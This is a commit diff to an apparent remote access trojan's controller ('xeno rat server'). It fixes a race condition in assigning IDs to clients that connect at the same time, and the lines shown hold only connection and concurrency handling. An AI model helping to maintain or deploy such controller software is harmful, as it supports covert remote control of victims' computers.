fixed a bug where if multiple clients connected at the same time it w…

…ould create a race condition
Unlimitorbe-x · Nov 13, 2023 · 0bd6e01 · 0bd6e01
1 parent 88fc732
commit 0bd6e01
Showing 1 changed file with 4 additions and 3 deletions.
diff --git a/xeno rat server/MainForm.cs b/xeno rat server/MainForm.cs
@@ -103,7 +103,8 @@ public MainForm()
 
         private async Task OnConnect(Socket socket)
         {
-            Node client = await Utils.ConnectAndSetupAsync(socket, key, currentCount, OnDisconnect);
+            int currentIdCount = currentCount++;
+            Node client = await Utils.ConnectAndSetupAsync(socket, key, currentIdCount, OnDisconnect);
             if (client == null) 
             {
                 try
@@ -119,10 +120,10 @@ private async Task OnConnect(Socket socket)
             }
             if (client.SockType == 0)
             {
-                clients[currentCount] = client;
                 ListViewItem clientdata = null;
                 try
                 {
+                    clients[currentIdCount] = client;
                     clientdata = await GetAddInfo(client);
                 }
                 catch 
@@ -134,7 +135,7 @@ private async Task OnConnect(Socket socket)
                     client.Disconnect();
                     return;
                 }
-                currentCount++;
+                //currentCount++;
                 Node HeartSock=await client.CreateSubNodeAsync(1);//create HeartBeat Node
                 if (HeartSock == null) 
                 {